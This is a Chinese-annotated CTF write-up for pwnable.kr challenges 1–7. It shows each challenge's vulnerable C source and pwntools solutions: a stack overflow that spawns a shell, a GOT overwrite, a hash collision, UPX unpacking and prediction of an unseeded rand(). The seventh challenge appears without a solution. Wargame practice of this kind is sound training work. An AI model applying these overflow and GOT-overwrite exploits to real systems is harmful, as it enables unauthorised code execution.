pwnable.kr 1-6...

1.fd

char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;	//令fd==0即argv[1]==0x1234
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;
}

EXP

s = ssh('fd', 'pwnable.kr', 2222, 'guest') 
sh = s.process(['fd', '4660'])
sh.sendline('LETMEWIN')
print sh.recvall()

2. collision

unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){ //将输入的数分成五段，依次相加
                res += ip[i];
        }
        return res;
}
int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}

EXP

s = ssh('col', 'pwnable.kr', 2222, 'guest')
code = p32(0x1DD905E8)+'\x01'*16 //之所以用\x01是因为\x00不能作为命令行参数
log.info(s.process(['col', code]).recvall())

3.bof

void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me! //此处存在栈溢出,可覆盖掉key
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

使用IDA查看栈结构

s= dword ptr -48h
----------------------------------------
lea     eax, [ebp-2Ch]	//overflowme为ebp-0x2C
mov     dword ptr [esp+48h+s], eax
call    gets
cmp     dword ptr [ebp+8], 0CAFEBABEh //key为ebp+0x8

EXP

s = remote('pwnable.kr', 9000)
code = 'a'*52+p32(0xcafebabe) //0x2C+0x8 = 52
s.sendline(code)
s.sendline('cat flag')
log.info(s.recv())

4.flag

查壳发现有UPX壳,脱壳

root@lilin:~/pwn# upx -d flag
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2017
UPX 3.94        Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    883745 <-    380296   43.03%   linux/amd64   flag

Unpacked 1 file.

查看main函数，发现flag

   0x0000000000401184 <+32>:	mov    0x2c0ee5(%rip),%rdx        # 0x6c2070 <flag>
   -------------------
   (gdb) x/s 0x00496628
   0x496628:	"UPX...? sounds like a delivery service :)"

5.passcode

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1); //此处未加地址符号,故passcode1的值即为地址
        fflush(stdin);			//可以将passcode1理解为一个指针，如此便可以在数据段任意覆写
										//可以覆写以下任何一个函数的GOT表地址
        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");  //在这里我们覆写printf的
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");  //←覆写内容为此条语句的地址
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name); //welcome在login之前调用,两个函数先后使用同一个栈基址的栈帧
        printf("Welcome %s!\n", name); //利用这里的scanf来操控passcode1的值
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

payload = 'A' * 0x60      //填充字符，由&passcode1减去&name得到
payload += p32(0x0804a000)   //passcode1的值，这里用的是printf的GOT表的地址
s = ssh('passcode', 'pwnable.kr', 2222, 'guest')
io = s.process(['passcode'])
io.sendline(payload)
io.sendline(str(0x080485e3))	//将GOT表值覆写为call system指令的地址
print io.recvall()

6.random

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

计算机产生的随机数并不是真正的随机数，而是伪随机数，在C语言中,srand()被用来设置随机数种子，rand()则将种子经过一定的运算之后得到伪随机数，在种子相同的情况下，rand()的返回值也是相同的，在未设置种子的情况下会有一个默认的种子

int main(){
    unsigned int random;
    random = rand();
    printf("%u", random ^ 0xdeadbeef);
    return 0;
}
//----编译运行，得到结果3039230856-----

7.input

int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");

        // argv
        if(argc != 100) return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");

        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
        printf("Stage 2 clear!\n");

        // env
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");

        // file
        FILE* fp = fopen("\x0a", "r");
        if(!fp) return 0;
        if( fread(buf, 4, 1, fp)!=1 ) return 0;
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n");

        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
        printf("Stage 5 clear!\n");

        // here's your flag
        system("/bin/cat flag");
        return 0;
}